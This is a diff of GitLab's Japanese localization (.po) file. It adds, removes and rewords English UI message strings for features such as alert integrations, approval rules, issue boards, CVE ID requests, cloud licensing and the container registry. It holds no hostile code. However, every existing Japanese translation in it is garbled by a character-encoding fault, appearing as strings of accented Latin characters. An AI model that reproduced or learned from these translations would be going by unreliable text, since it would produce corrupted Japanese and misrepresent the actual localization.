msgstr "追加ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯ã‚·ã‚¹ãƒ†ãƒ ç®¡ç†è€…ã«ã‚ˆã£ã¦ç¢ºèªã•ã‚Œã€æ‰¿èªã•ã‚Œãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。 使用状æ³ã®ä¸Šé™è©³ç´°ã«ã¤ã„ã¦ã¯ã€%{help_link_start} ã“ã¡ã‚‰%{help_link_end} ã‚’ã”覧ãã ã•ã„。"
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "アラート"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr "確èªæ¸ˆã¿"
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr "グループオーナー㌠LDAP 関連ã®è¨­å®šã‚’管ç†ã§ãるよã†
msgid "Allow only the selected protocols to be used for Git access."
msgstr "é¸æŠžã—ãŸãƒ—ロトコルã®ã¿ã‚’ Git アクセスã«ä½¿ç”¨ã§ãるよã†ã«ã—ã¾ã™ã€‚"
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "メールドメイン制é™ã¯ã€æœ€ä¸Šä½ã‚°ãƒ«ãƒ¼ãƒ—ã«ã®ã¿è¨±å¯ã•ã‚Œã¾ã™"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr "\"Issuer\" ã¾ãŸã¯ \"Relying party trust identifier\" ã¨ã‚‚呼ã°ã‚Œã
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "\"Relying party service URL\" ã¾ãŸã¯ \"Reply URL\" ã¨ã‚‚呼ã°ã‚Œã¾ã™"
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "ã“ã®ã‚¹ãƒ¬ãƒƒãƒ‰ã«ä¸‹æ›¸ãを追加ã™ã‚‹éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3240,6 +3336,9 @@ msgstr "ä¿ç•™ä¸­ã®ã‚³ãƒ¡ãƒ³ãƒˆã‚’å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚
msgid "An error occurred while fetching projects autocomplete."
msgstr "プロジェクトã®ã‚ªãƒ¼ãƒˆã‚³ãƒ³ãƒ—リートå–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "サイドãƒãƒ¼ã®ãƒ‡ãƒ¼ã‚¿å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "ボードリストã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-msgid "An error occurred while fetching the builds."
-msgstr "ビルドã®ãƒ•ã‚§ãƒƒãƒä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "An error occurred while fetching the job log."
msgstr "ã“ã®ã‚¸ãƒ§ãƒ–ã®ãƒ­ã‚°ã‚’フェッãƒã™ã‚‹é–“ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -3345,7 +3441,7 @@ msgstr "ファイルã®ãƒ­ãƒ¼ãƒ‰ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "An error occurred while loading the file. Please try again later."
msgstr "ファイルã®èª­ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr "インスタンスレベル㮠serverless ドメインã¯ã™ã§ã«å­˜åœ¨
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "イシューã¯ã€ãƒ—ロジェクトã§è­°è«–ã™ã‚‹å¿…è¦ãŒã‚ã‚‹ãƒã‚°ã€todoã€ã¾ãŸã¯æ©Ÿèƒ½ãƒªã‚¯ã‚¨ã‚¹ãƒˆã§ã‚ã‚‹å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚ãã®ä¸Šã€ã‚¤ã‚·ãƒ¥ãƒ¼ã¯æ¤œç´¢ã§ãã€ãƒ•ã‚£ãƒ«ã‚¿ã§ãã¾ã™ã€‚"
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr "承èªãƒ«ãƒ¼ãƒ«"
msgid "Approval rules reset to project defaults"
msgstr "承èªãƒ«ãƒ¼ãƒ«ã¯ãƒ—ロジェクトã®ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã«ãƒªã‚»ãƒƒãƒˆã•ã‚Œã¾ã—ãŸ"
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d 人ã®ãƒ¡ãƒ³ãƒãƒ¼"
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] "%{membersCount} åã®ã†ã¡ %{count} åã‹ã‚‰ã®æ‰¿èªãŒå¿…è¦"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "承èªè€…"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "åå‰"
@@ -3724,9 +3826,6 @@ msgstr "ルールå"
msgid "ApprovalRule|Target branch"
msgstr "ターゲットブランãƒ"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "例:QAã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãªã©"
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "変更ãŒä¿å­˜ã•ã‚Œã¦ã„ã¾ã›ã‚“ãŒç ´æ£„ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -3923,6 +4028,12 @@ msgstr "ã“ã®ç’°å¢ƒã‚’åœæ­¢ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "%{path_lock_path} ã®ãƒ­ãƒƒã‚¯ã‚’解除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "%{type}: %{link_to_noteable_text} ã®è³¼èª­ã‚’解除ã—ã¦ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -3965,14 +4076,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} ㌠%{project_name} ã®ãƒ–ランム%{branch} ã«ãƒ—ッシュã—ã¾ã—ãŸï¼ˆ%{commit_url}):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Eメールã®ãªã„ãƒãƒ¼ãƒ ãƒ¯ãƒ¼ã‚¯"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "自動的ã«æ¤œæŸ»ã™ã‚‹ãƒ–ランãƒã®ã‚«ãƒ³ãƒžåŒºåˆ‡ã‚Šãƒªã‚¹ãƒˆã€‚ã™ã¹ã¦ã®ãƒ–ランãƒã‚’対象ã«å«ã‚ã‚‹ã«ã¯ç©ºç™½ã®ã¾ã¾ã«ã—ã¾ã™ã€‚"
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "ユーザーã®ãƒ‘ーソナルアクセストークン。ユーザーã¯ã‚¿ã‚¹ã‚¯ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ã™ã¹ã¦ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«å±žã—ã¾ã™ã€‚"
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "昇順"
@@ -4396,6 +4507,9 @@ msgstr "ã‚¢ãƒã‚¿ãƒ¼ã‚’削除ã—ã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "Average per day: %{average}"
msgstr "1æ—¥ã‚ãŸã‚Šã®å¹³å‡: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "%{number}ページã«æˆ»ã‚‹"
@@ -4498,6 +4612,9 @@ msgstr "APIアクセス権をæŒã¤ãƒ¦ãƒ¼ã‚¶ãƒ¼(該当ã™ã‚‹å ´åˆ)"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "アトラシアンBamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "KEYã®ã‚ˆã†ãªBambooã®ãƒ“ルドプランキー"
@@ -4516,6 +4633,9 @@ msgstr "ã”注æ„ãã ã•ã„。プロジェクトã®åå‰ç©ºé–“を変更ã™ã‚‹
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "ã”注æ„ãã ã•ã„。プロジェクトã®ãƒªãƒã‚¸ãƒˆãƒªã®åå‰ã‚’変更ã™ã‚‹ã¨ã€æ„図ã—ãªã„副作用ãŒç™ºç”Ÿã™ã‚‹ã“ã¨ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "é¸æŠžã—ãŸã‚³ãƒŸãƒƒãƒˆã§ã¯ã˜ã‚ã‚‹"
@@ -4540,8 +4660,8 @@ msgstr "請求"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name} ã‚ãªãŸã®ç¾åœ¨ã®ãƒ—ランã¯%{plan_name} ã§ã™ã€‚"
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr "ブロックã•ã‚ŒãŸã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr "ボード"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr "ボードを編集"
msgid "Boards|Expand"
msgstr "å…¨ã¦è¡¨ç¤º"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "スコープ表示"
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr "作者"
msgid "CHANGELOG"
msgstr "変更履歴"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr "CI/CD ã®åˆ†æž"
-
-msgid "CI / CD Settings"
-msgstr "CI / CD 設定"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5117,6 +5251,12 @@ msgstr "CI ã¯ä¸Šè¨˜ã§å‰²ã‚Šå½“ã¦ã‚‰ã‚ŒãŸè³‡æ ¼æƒ…報を元ã«å®Ÿè¡Œã—ã¾ã™
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD 設定"
@@ -5205,6 +5345,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "コールãƒãƒƒã‚¯ URL"
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "プレビューをキャンセル"
@@ -5421,6 +5585,9 @@ msgstr "テンプレートを変更"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "GitLab UI ã®æ›´æ–°é »åº¦ã‚’変更ã™ã‚‹ã«ã¯ã“ã®å€¤ã‚’変更ã—ã¦ãã ã•ã„。"
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "タイトル変更"
@@ -5448,6 +5615,9 @@ msgstr "ãƒã‚§ãƒªãƒ¼ãƒ”ック"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "リãƒãƒ¼ãƒˆ"
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "コミット済ã®å¤‰æ›´ã‚’ revert ã™ã‚‹ãŸã‚ã«æ–°ã—ã„コミットを作æˆã—ã¾ã™"
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr "%{tabname} ã‚’é–‰ã˜ã‚‹"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "エピックを閉ã˜ã‚‹"
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr "ã“ã® %{quick_action_target} ã‚’é–‰ã˜ã‚‹ã€‚"
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "クラスター"
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr "Kubernetes クラスター を作æˆã™ã‚‹ã«ã¯ã€ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã® %{
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "%{provider_link} ã«ã‚¢ã‚¯ã‚»ã‚¹ã—㦠Kubernetes クラスターを管ç†"
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr "コミット"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr "会社å"
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr "コンテナã®ã‚¹ã‚­ãƒ£ãƒ³"
msgid "Container does not exist"
msgstr "コンテナãŒã‚ã‚Šã¾ã›ã‚“"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "コンテナレジストリã®ã‚¤ãƒ¡ãƒ¼ã‚¸"
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr "Docker接続エラー"
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr "コピー"
msgid "Copy %{http_label} clone URL"
msgstr "%{http_label} クローン URL をコピー"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "%{protocol} クローン URL をコピー"
@@ -8263,9 +8511,6 @@ msgstr "コピーコマンド"
msgid "Copy commit SHA"
msgstr "コミットã®SHAをコピー"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr "環境をコピー"
@@ -8323,9 +8568,18 @@ msgstr "値ã®ã‚³ãƒ”ー"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr "管ç†è€…ã¯ãƒ¡ãƒ³ãƒãƒ¼ã¨ã—ã¦è¿½åŠ ã§ãã¾ã›ã‚“。"
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr "イテレーションãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "トリガーを除去ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr "デザインをアップロードã§ãã¾ã›ã‚“ã§ã—ãŸã€‚アップロードã•ã‚ŒãŸãƒ•ã‚¡ã‚¤ãƒ«ã«ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ãªã„ã‚‚ã®ãŒå«ã¾ã‚Œã¦ã„ã¾ã—ãŸã€‚"
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "国"
@@ -8428,16 +8694,15 @@ msgstr "ã‚«ãƒãƒ¬ãƒƒã‚¸"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr "作æˆ"
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr "æ–°è¦ãƒ•ã‚¡ã‚¤ãƒ«ä½œæˆ"
msgid "Create new file or directory"
msgstr "æ–°ã—ã„ファイルやディレクトリを作æˆã—ã¾ã™"
-msgid "Create new issue in Jira"
